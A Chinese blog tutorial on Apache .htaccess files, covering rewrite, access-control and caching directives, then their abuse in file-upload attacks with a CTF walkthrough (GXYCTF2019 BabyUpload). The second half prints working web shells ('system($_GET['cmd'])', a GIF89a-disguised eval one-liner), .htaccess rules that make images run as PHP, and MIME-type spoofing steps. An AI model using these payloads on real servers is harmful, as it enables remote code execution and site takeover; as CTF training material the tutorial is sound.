.htaccess文件的组成、用法及作用详解

.htaccess (Hypertext Access)是 Apache 服务器的一个分布式配置文件,可以覆盖主配置文件的设置,无需重启服务器即可生效 (需要管理员级别权限修改的httpd.conf文件修改后需要重启Apach服务器)它主要用于目录级的配置,是 Web 安全URL 重写服务器优化的重要工具。

1、.htaccess 文件的基本组成

.htaccess 文件是一个纯文本文件,通常包含以下类型的指令:

常用指令类型

指令类型 示例 作用
认证与授权 AuthType Basic 密码保护目录
URL 重写 RewriteRule ^old.html$ new.html [R=301] 重定向或美化 URL
错误页面定制 ErrorDocument 404 /404.html 自定义 404 页面
禁止访问 Deny from all 阻止特定 IP 或用户代理访问
MIME 类型设置 AddType application/x-httpd-php .php 定义文件类型处理方式
缓存控制 ExpiresActive On 设置浏览器缓存策略
PHP 配置覆盖 php_value upload_max_filesize 20M 修改 PHP 运行参数(如上传限制)

2、.htaccess 的核心作用

1. URL 重写(SEO 友好 & 隐藏真实路径)

复制代码
RewriteEngine On
RewriteRule ^article/([0-9]+)/?$ article.php?id=$1 [L]
  • 用户访问 /article/123/ → 实际执行 article.php?id=123

  • 常用于 WordPress、Laravel 等框架

2. 访问控制(安全防护)

复制代码
# 禁止访问特定文件
<Files "config.ini">
    Deny from all
</Files>

# 屏蔽恶意 User-Agent
RewriteCond %{HTTP_USER_AGENT} (wget|curl|python) [NC]
RewriteRule .* - [F]

3. 自定义错误页面

复制代码
ErrorDocument 404 /errors/404.html
ErrorDocument 500 /errors/500.html
  • 提升用户体验,避免暴露服务器信息。(了解一下即可)

4. 防止目录遍历

复制代码
Options -Indexes
  • 禁止直接列出目录内容(防止敏感文件泄露)。

5. 强制 HTTPS(安全跳转)

复制代码
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]

6. 禁止 PHP 执行(安全防护)

复制代码
<FilesMatch "\.(php|inc)$">
    Deny from all
</FilesMatch>
  • 常用于上传目录(如 /uploads/),防止上传 Webshell 被执行。

3、典型应用场景

1. WordPress 的 .htaccess

复制代码
# BEGIN WordPress
<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteRule ^index\.php$ - [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
</IfModule>
# END WordPress
  • 实现"固定链接"(Pretty Permalinks)功能。

2. 防止图片盗链

复制代码
RewriteEngine On
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^https://(www\.)?yourdomain.com [NC]
RewriteRule \.(jpg|png|gif)$ - [F]
  • 只允许本站引用图片,外站访问返回 403。

3. 限制 IP 访问

复制代码
Order Deny,Allow
Deny from all
Allow from 192.168.1.100
  • 仅允许特定 IP 访问目录。

4、注意事项

  1. 性能影响

    每个请求都会读取 .htaccess,高流量站点建议改用主配置文件(httpd.conf)。

  2. 语法严格

    错误的规则可能导致 500 错误,测试时建议备份原文件。

  3. 优先级

    子目录的 .htaccess 会覆盖父目录的设置。

  4. 安全风险

    错误的权限设置可能导致 .htaccess 被篡改(建议权限设为 644


5、如何测试 .htaccess 是否生效?

  1. 访问目标 URL,观察是否按规则跳转。

  2. 使用 curl 检查响应头:

    复制代码
    curl -I http://example.com/test

6、.htaccess文件在文件上传漏洞中的构造方法及作用详解

.htaccess文件概述

.htaccessApache服务器的一个配置文件,它允许用户针对特定目录修改服务器的配置,而无需访问主配置文件。在文件上传漏洞利用中,攻击者常利用.htaccess文件来实现恶意目的。

<1>.htaccess在文件上传漏洞中的作用

  1. 文件执行控制 :通过修改文件解析规则,使原本不可执行的文件(如图片)能够作为PHP等脚本执行

  2. 绕过限制绕过服务器的文件类型****检查安全限制

  3. 持久化访问 :为后续攻击提供持久化的后门访问

<2>常见的.htaccess构造方法

1. 修改文件解析规则

apache

复制代码
AddType application/x-httpd-php .jpg .png .gif

作用:使服务器将.jpg、.png、.gif等图片文件当作PHP脚本解析 执行

(比如当题目限制只能上传图片文件而没有对.htaccess文件过滤时,就可以使用这种方法进行绕过)

2. 设置PHP执行标志

apache

复制代码
<FilesMatch "\.(jpg|png|gif)$">
    SetHandler application/x-httpd-php
</FilesMatch>

作用:匹配特定扩展名的文件,强制使用PHP处理器处理

这个暂时还没弄明白怎么运用

3. 自定义错误处理程序

apache

复制代码
ErrorDocument 404 /uploads/malicious.php

作用:将404错误****重定向恶意脚本,实现隐蔽访问

4. 启用PHP配置选项

apache

复制代码
php_value auto_prepend_file "malicious.jpg"
php_value auto_append_file "malicious.jpg"

作用:在每个PHP文件执行前后自动包含恶意文件

5. 重写URL规则

apache

复制代码
RewriteEngine On
RewriteRule ^(.*)\.jpg$ malicious.php?file=$1

作用:将访问.jpg文件的请求****重定向恶意PHP脚本

总结来说就是:

假设攻击者上传了一个包含以下内容的.htaccess文件:

apache

复制代码
AddType application/x-httpd-php .abc

然后上传一个名为"shell.abc"的文件,内容为:

php

复制代码
<?php system($_GET['cmd']); ?>

这样,访问"shell.abc?cmd=id"就会执行系统命令。

例题
【nssctf】 GXYCTF2019 BabyUpload

开启题目后随便上传一个木马.txt文件,提示太露骨了

同样的png文件也提示露骨

然后我上传了一个muma.jpg图片,提示如下

由此可知,后端检测出上传的jpg文件中含有php代码(即后缀检测,内容也检测)

而对内容检测八成就是对php标签内容检测

所以需要将jpg中的php代码修改为Javascript的形式,如下:

复制代码
GIF89a
<script language='php'>@eval($_POST["a"]);</script>

(这串代码简洁明了的解释就是 结合GIF图像格式和PHP代码,用于绕过文件上传限制并执行恶意代码)

这里我详细记录一下这串代码的作用吧:

  • GIF89a是GIF图像文件的文件头标识。它表示这是一个GIF格式的图像文件。

  • GIF文件的文件头通常是**GIF89aGIF87a,用于标识文件类型** 和版本(这一步是为上传成功作准备的)

  • <script language='php'>

    • 这是一个HTML <script> 标签,通常用于嵌入脚本代码

    • 在这里,language='php' 属性指定脚本语言为PHP。

  • @eval($_POST["a"]);

    • @eval 是PHP的一个函数,用于执行字符串中的PHP代码

    • $_POST["a"] 是一个超全局变量,表示通过POST方法递的数**a**。

    • @ 符号用于抑制错误信息,即使eval函数执行失败,也不会显示任何错误信息

(这一大坨都是为了后面.htaccess文件解析它作准备)

接下来上传文件后页面回显路径

说明上传成功,既然能上传,接下来只需要解决能否解析.jpg文件中的php代码就可以了

而想要解析.jpg文件中的php代码,就可以使用**.htaccess**文件来进行实现

接着来看步骤:

创建一个**.htaccess文件**,用记事本打开,写入以下内容:

复制代码
AddType application/x-httpd-php .jpg .txt .png

这条命令可以让Apach服务器在遇到**.jpg .txt .png** 文件时按照php 文件来解析(即解析其中的php代码)

下一步 .htaccess文件配合 .jpg 文件上传

上传.htaccess 文件,响应页面如下

没错,露骨就需要抓包一下MIME类型了(Content-type

选择.htaccess文件后,抓包然后上传

点击上传

修改****MIME类型为 允许的image/jpeg

修改后放行,出现响应界面

页面提示.htaccess文件上传成功

这样的话就可以上传****待解析 的jpg文件

直接上传

可以看到此刻jpg文件也上传成功

既然路径也有了,接下来只需要拼接url访问即可

拼接访问

发现伪装的jpg文件头已显示,说明图片(php代码)解析成功

可以通过POST传参传入php语句看其是否能执行

F12键打开hackbar,利用一句话木马传入的参数执行php语句

(别搞错,上传的木马参数不一样这里就不一样。我的是a)

执行

php语句可执行, 接下来就可以连接蚁剑

打开蚁剑添加数据,填入拼接好的url,传入的参数即为连接密码(我的是a)

点击测试连接

连接成功后点击添加 。最后打开目录搜寻flag即可


总的来说

.htaccess 是 Apache 服务器的强大工具,可用于:
URL 重写 (SEO 优化)
访问控制 (IP/User-Agent 过滤)
安全防护 (禁止目录遍历、防 PHP 执行)
自定义错误页(提升用户体验)

而在文件上传漏洞中,.htaccess文件在文件上传漏洞中常被用作"桥梁",通过修改服务器配置来绕过安全限制。

合理使用能大幅增强网站安全性和灵活性,但需注意性能影响和语法正确性,否则出现"文件因错误而无法显示"就是常态了

相关推荐
23zhgjx-ctl14 小时前
Isis-路由引入
开发语言·php
影子tec15 小时前
thinkphp6 + oracle 数据库连接 表名、字段名大小写和字符集
数据库·oracle·php
2401_8906658617 小时前
免费送源码:Java+ssm+MySQL 基于PHP在线考试系统的设计与实现 计算机毕业设计原创定制
java·hadoop·spring boot·python·mysql·spring cloud·php
86Eric1 天前
Laravel 实现 队列 发送邮件功能
php·laravel·队列·异步执行
亿坊电商1 天前
PHP + Go 如何协同打造高并发微服务?
微服务·golang·php
左灯右行的爱情2 天前
计算机网络-传输层基础概念
网络·计算机网络·php
SlientICE2 天前
预防WIFI攻击,保证网络安全
网络·安全·php
Sun7582 天前
Dcat-admin 轮播图组件
php
PeakXin2 天前
🚀 Windows 下实现 PHP 多版本动态切换管理(适配 phpStudy)+ 一键切换工具源码分享
php
ALe要立志成为web糕手2 天前
PHP反序列化
web安全·网络安全·php·反序列化